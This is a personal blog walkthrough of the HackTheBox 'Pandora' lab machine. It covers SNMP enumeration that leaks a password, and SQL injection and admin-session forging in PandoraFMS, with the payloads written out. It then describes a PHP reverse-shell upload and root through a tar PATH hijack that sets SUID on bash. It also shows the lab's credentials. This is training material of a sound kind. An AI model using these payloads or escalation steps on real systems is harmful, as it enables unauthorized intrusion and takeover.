Pandora - HackTheBox
Pandora Machine(10.10.11.136)
Info:
This was an easy machine from HackTheBox, where i first time encountered SNMP. Then we had to exploit PandoraFMS, most interesting part of box, to get further control and PATH hijacking for privilege escaltion. Nothing too fancy still teaches a lot about manual testing.
Recon:
Starting with port scan, we get two open ports.
$ nmap -T4 10.10.11.136
Starting Nmap 7.80 ( https://nmap.org ) at 2022-05-18 21:11 IST
Stats: 0:00:26 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 85.17% done; ETC: 21:11 (0:00:05 remaining)
Nmap scan report for 10.10.11.136
Host is up (0.50s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
$ nmap -A -p22,80 -T4 10.10.11.136
Starting Nmap 7.80 ( https://nmap.org ) at 2022-05-18 21:12 IST
Nmap scan report for 10.10.11.136
Host is up (0.38s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
It's running Ubuntu server with OpenSSH on port 22, and Apache web server on port 80. At the time of release these were the latest versions.
Host Panda.htb
is listed on page let's add that our hosts file.
There isn't much to do on this page, fuzzing also doesn't reveal anything interesting.
$ ffuf -u http://panda.htb/FUZZ -w ~/wordlist/SecLists/Discovery/Web-Content/raft-medium-directories.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://panda.htb/FUZZ
:: Wordlist : FUZZ: /home/ubuntu/wordlist/SecLists/Discovery/Web-Content/raft-medium-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
assets [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 440ms]
server-status [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 425ms]
$ ffuf -u http://panda.htb/FUZZ -w ~/wordlist/SecLists/Discovery/Web-Content/raft-medium-files.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://panda.htb/FUZZ
:: Wordlist : FUZZ: /home/ubuntu/wordlist/SecLists/Discovery/Web-Content/raft-medium-files.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
index.html [Status: 200, Size: 33560, Words: 13127, Lines: 908, Duration: 447ms]
.htaccess [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 218ms]
. [Status: 200, Size: 33560, Words: 13127, Lines: 908, Duration: 575ms]
.html [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 427ms]
.php [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 750ms]
.htpasswd [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 322ms]
.htm [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 217ms]
Contact page doesn't send any data to server, just make a GET
request to itself on index.html
. Let's fuzz for subdomains
$ ffuf -u http://panda.htb/ -w ~/wordlist/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.panda.htb" -fw 13127
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://panda.htb/
:: Wordlist : FUZZ: /home/ubuntu/wordlist/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.panda.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response words: 13127
________________________________________________
office [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9879ms]
help [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 7055ms]
preview [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9825ms]
www.support [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9819ms]
ssh [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9959ms]
check [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1231ms]
webdisk.secure [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1061ms]
luna [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 987ms]
ent [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1062ms]
It finds nothing, every result is same so i filtered with fl
or -fw
. Due to server weird behaviour due to extensive scanning scanning or my network tripping got few output which passed filter of 13127
words. But they are also false positives. they kept changing while writing this blog.
UDP Port scan
At this point we have nothing even after all that scanning, what did we miss? We missed(I missed while doing this box) UDP port scan. This teaches that Don't forget UDP ports while pentesting interesting services could be running on them.
$ sudo nmap -sU -T4 10.10.11.136
[sudo] password for ubuntu:
Starting Nmap 7.80 ( https://nmap.org ) at 2022-05-18 21:38 IST
Warning: 10.10.11.136 giving up on port because retransmission cap hit (6).
Stats: 0:02:10 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 15.33% done; ETC: 21:52 (0:11:58 remaining)
Stats: 0:14:19 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 84.76% done; ETC: 21:55 (0:02:34 remaining)
Nmap scan report for panda.htb (10.10.11.136)
Host is up (0.34s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
161/udp open snmp
1029/udp open|filtered solid-mux
1214/udp open|filtered fasttrack
Also this is the first time, I encountered SNMP
udp port 161. It is Simple Network Management Protocol
which monitors all the devices in a network at network level and detect
network faults by analyzing what data is flowing. You can read more
about it here.
Foothold: Dumping data with snmpwalk
hacktricks
list various techniques to test snmp. If we have a write access we can
gain RCE from SNMP but we don't have that only read access is available
with community string public
.
The default community string for read-only access is public, and the default community string for read/write access is private.
$ snmpwalk -c public 10.10.11.136 -v1 | tee dump
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (4029530) 11:11:35.30
iso.3.6.1.2.1.1.4.0 = STRING: "Daniel"
iso.3.6.1.2.1.1.5.0 = STRING: "pandora"
iso.3.6.1.2.1.1.6.0 = STRING: "Mississippi"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
.....[SNIP].....
it lists few usernames along with machine hostname pandora
and kernel version 5.4.0-91-generic
, and many more deatils. It's a pretty huge dump.
While it dumps you can learn more about snmpwalk how it works here. Basically snmpwalk queries data with multiple GETNEXT
requests from MIB
, Management Information Base is an organized list of data that can be queried using SNMP. GETNEXT
retrieves the value of the next OID
in the tree. This way user doesn't have to enter unique commands to extract information from multiple nodes.
After few minutes later we get processes running on machine
One of them list Daniel
user's password i.e. HotelBabylon23
.
Let's try ssh with this password and it works
Daniel doesn't have anything in his directory, there is another user Matt. Let's pwn him
Lateral movement: exploiting PandoraFMS
While searching for SUID binaries, i noticed pandora_backup
$ ls -lt /usr/bin/pandora_backup
-rwsr-x--- 1 root matt 16816 Dec 3 15:58 /usr/bin/pandora_backup
But daniel can't excute it. Binary which was using daniel password /usr/bin/host_check -u daniel -p HotelBabylon23
gives output having something related to hosts in ~/.host_check
.
1;localhost.localdomain;192.168.1.42;Created by localhost.localdomain;Linux;;09fbaa6fdf35afd44f8266676e4872f299c1d3cbb9846fbe944772d913fcfc69;3
2;localhost.localdomain;;Pandora FMS Server version 7.0NG.742_FIX_PERL2020;Linux;;localhost.localdomain;3
It's a good hint towards checking hosts file.
$ cat /etc/hosts
127.0.0.1 localhost.localdomain pandora.htb pandora.pandora.htb
127.0.1.1 pandora
pandora.htb
is new host one we had earlier was Panda.htb
. Let's check vhost file
/etc/apache2/sites-available/pandora.conf
<VirtualHost localhost:80>
ServerAdmin admin@panda.htb
ServerName pandora.panda.htb
DocumentRoot /var/www/pandora
AssignUserID matt matt
<Directory /var/www/pandora>
AllowOverride All
</Directory>
ErrorLog /var/log/apache2/error.log
CustomLog /var/log/apache2/access.log combined
</VirtualHost>
This new vhost is listening on pandora.panda.htb
earlier in /etc/hosts
it says pandora.pandora.htb
. There are some discrepancies here. I will add both to my hosts file. Also this vhost is listening on localhost
only <VirtualHost localhost:80>
, that's why our scan didn't find it.
let's do port port forwarding, it will listens on port 8084 and will forward to port 80.
Now when i access 127.0.0.1:8084
from my
machine, i get access to PandoraFMS console. Somehow i was automatically
logged in as matt user, but sometimes it didn't happen.
You might wonder why we don't have to provide hostname here. Because by default on localhost pandora machine is serving PandoraFMS.
$ curl 127.0.0.1:80
<meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/">
In bottom page it leaks version in used i.e Pandora FMS v7.0NG.742
Which is vulnerable to various attacks as per this blog
Exploiting PandoraFMS:
As per video listed on blog, if we can become admin we can upload our shell on server. And there is a sql injection vulnerability which can be used to do so.
In this version of PandoraFMS they uses get_parameter()
as custom function to handle user input and sanitize it. But in /include/chart_generator.php
file they don't do so. They uses $_REQUEST[]
to get value of session_id
paramater and later concatenate it in a WHERE
clause of SQL QUERY. TO check for authentication.
$user = new PandoraFMS\User(['phpsessionid' => $_REQUEST['session_id']])
.
We can inject sql in this statement. Let's test with inserting a single quote, it errors out.
using sqlmap we can dump whole pandora
database specifically pandora
table to get any usernames & password.
$ sqlmap -u http://127.0.0.1:8084/pandora_console/include/chart_generator.php?session_id=1* --current-user --threads=10 --batch -D pandora -T tsessions_php --dump
___
__H__
___ ___["]_____ ___ ___ {1.4.4#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:39:01 /2022-05-19/
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[14:39:01] [INFO] resuming back-end DBMS 'mysql'
[14:39:01] [INFO] testing connection to the target URL
[14:39:02] [WARNING] potential permission problems detected ('Access denied')
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=gung49f0cl7...s3ub78j2h2'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://127.0.0.1:8084/pandora_console/include/chart_generator.php?session_id=1' RLIKE (SELECT (CASE WHEN (8507=8507) THEN 1 ELSE 0x28 END))-- tbtS
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: http://127.0.0.1:8084/pandora_console/include/chart_generator.php?session_id=1' OR (SELECT 8384 FROM(SELECT COUNT(*),CONCAT(0x71626b6271,(SELECT (ELT(8384=8384,1))),0x7178717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- duWE
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://127.0.0.1:8084/pandora_console/include/chart_generator.php?session_id=1' AND (SELECT 2692 FROM (SELECT(SLEEP(5)))zYSE)-- YyOm
---
[14:39:02] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[14:39:02] [INFO] fetching current user
[14:39:02] [INFO] resumed: 'pandora@localhost'
current user: 'pandora@localhost'
[14:39:02] [INFO] fetching columns for table 'tsessions_php' in database 'pandora'
[14:39:02] [INFO] starting 3 threads
[14:39:02] [INFO] resumed: 'id_session'
[14:39:02] [INFO] resumed: 'char(52)'
[14:39:02] [INFO] resumed: 'last_active'
[14:39:02] [INFO] resumed: 'int(11)'
[14:39:02] [INFO] resumed: 'data'
[14:39:02] [INFO] resumed: 'text'
[14:39:02] [INFO] fetching entries for table 'tsessions_php' in database 'pandora'
[14:39:02] [INFO] starting 10 threads
Database: pandora
Table: tsessions_php
[325 entries]
+----------------------------+---------------------------------------------------------------------------------+-------------+
| id_session | data | last_active |
+----------------------------+---------------------------------------------------------------------------------+-------------+
[14:39:22] [WARNING] console output will be trimmed to last 256 rows due to large table size
| 6acnb63gvubphklhsvdgj5v2c6 | NULL | 1652897898 |
| 6fhfaojpg2i954hlvtte8a15v2 | NULL | 1652897956 |
| 6iaghcbgnkjru2v8c97ltkf5im | NULL | 1652897224 |
| 6jm5rmh2o5nljoe9mooucbtvma | NULL | 1652897544 |
| 6msjk6l6qhgmgf1omdc5pdc8ph | id_usuario|s:6:"daniel"; | 1652897967 |
| 6rdsvpjc3fkreha4o7c2h6gjpk | NULL | 1652897951 |
| 6tqti16aoi6os7v7o71glfbdhk | NULL | 1652897419 |
| 74vkgdmvpe7ugl5lo2llhvhuom | NULL | 1652898050 |
| 76e3p0hm73p6ecpaqi3gssc7p4 | NULL | 1652897203 |
| 7ckirm3n829h8a562r3k77m54o | NULL | 1652897229 |
| 7do0jogoi36cidbp3l637a4gu3 | NULL | 1652897899 |
| 7klugaedlm92nit54j3fju5jfn | NULL | 1652897515 |
| 7ld6bmibipr8slb4g8e9qbho1m | NULL | 1652897386 |
....[SNIP]......
But there is no such entries, from tsession table we can see only daniel and matt user sesssions. But reading further in blog
if ($info !== false) {
// Process.
$session_data = session_decode($info['data']);
$this->idUser = $_SESSION['id_usuario'];
// Valid session.
return $this;
It uses session_decode
function which takes
serilized data and populate it in current session after deserlization.
We can try to produce a valid session for admin
user. let me break it down
$info = \db_get_row_filter(tsessions_php',['id_session' => $data['phpsessionid']]);
. Here db_get_row_filter
function create sql query to fetch everything from tsession_php
table for session_id
we provided. so something like
select * from tsession_php where id_session=<INPUT>;
. Now we also know what tsession_php
table looks like
Where data
column is used to populate the session $session_data = session_decode($info['data']);
. data
is serlized object. So we can inject our serilized in it uisng UNION SELECT query. something like
select * from tsession_php where id_session=1 UNION SELECT 1,2,'id_usuario|s:6:"daniel";';
. Union combines output of two tables. As id_session=1
doesn't exist it returns nothing, it will combine the result with first coulumn as 1
second as 2
and in 3rd column a serilized object in data
column.
I know it's weird position of data
colum is second in sqldump but we are giving it at 3rd position. Right now i have no idea why it works like that.
spoiler alert: After getting matt user , we can look at database itself annd indeed data is 3rd column. Maybe sqlmap just got funky
Now this $this->idUser = $_SESSION['id_usuario']
will give value of id_usuario
to current session which is daniel
. Now we can forge this for admin as well with this serlized object id_usuario|s:5:"admin";
, type string of length 5.
let's send this payload in url encoded form
session_id=1' UNION select 1,2,'id_usuario|s:5:"admin";'#
Refresh the page in browser, your session must be upgraded to admin
Now from Admin-> Extension uploader
you can upload any php file after zipping it. Server will unzip it and you can access your file
I used this shell, modify the ip & port
zip it by zip revshell.zip revshell.php
and upload this zip file.
Load your extension, or just extension viewer. You will get shell as matt user.
There were other ways to get shell as matt also, there was RCE vulnerbaility. We didn't have to follow whole this deserelization path. Read more here
Privilege Escaltion: tar PATH hijack
using script
upgrade to tty shell
Let's checkout database first, grab creds. from /include/config.php file
<?php
// File generated by centos kickstart
$config["dbtype"] = "mysql";
$config["dbname"]="pandora";
$config["dbuser"]="pandora";
$config["dbpass"]="PandoraFMSSecurePass2021";
$config["dbhost"]="localhost";
........[SNIP].......
Let's login and check tsessions_php
table.
Indeed data
is third coulmn, huh silly sqlmap!
Now if you remember we had a SUID binary to run, let's run
it also transfer it to our machine for reversing purpose. On running it
gives funny permission error, had to upgrade to proper tty shell. By
generating a RSA keypair with ssh-keygen
then renaming id_rsa.pub
to authorized_keys
.
Then ssh -i id_rsa matt@localhost
. From my machine i couln't ssh as mat user looks like that was not allowed.
Now run pandora_backup
it runs successfully
Running strings
on binary gives, what's it been doing
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*
Backup failed!
Check your permissions!
Backup successful!
Note the wildcard character *
which is a dangerous thing to do, this post sums it up properly. How you can force tar to execute a action with --checkpoint-action
flag. Using that we can create files with this flag name which when
executed will become a valid flag for tar will execute our malicious
action.
But somehow it didn't workout. It worked when i ran it as matt user. But with pandora_backup
binary it failed.
$PATH hijack:
If you notice tar
doesn't have a full path specified, which means we can try to hijack it's path. Let's create tar
executable in /tmp
directory
echo "chmod u+s /bin/bash" >/tmp/tar
chmod +x /tmp/tar
Change PATH variable, PATH=/tmp:$PATH
. This will list our tar file first before actual tar binary.
Now run /usr/bin/pandora_backup
/bin/bash
has now suid bit set
And that's how we get root on this machine.
Thank you for reading. Please don't forget to clean up your instnace before leaving, remove the suid bit, remove tar file and any other exploit used.
Twitter: Avinashkroy
Comments
Post a Comment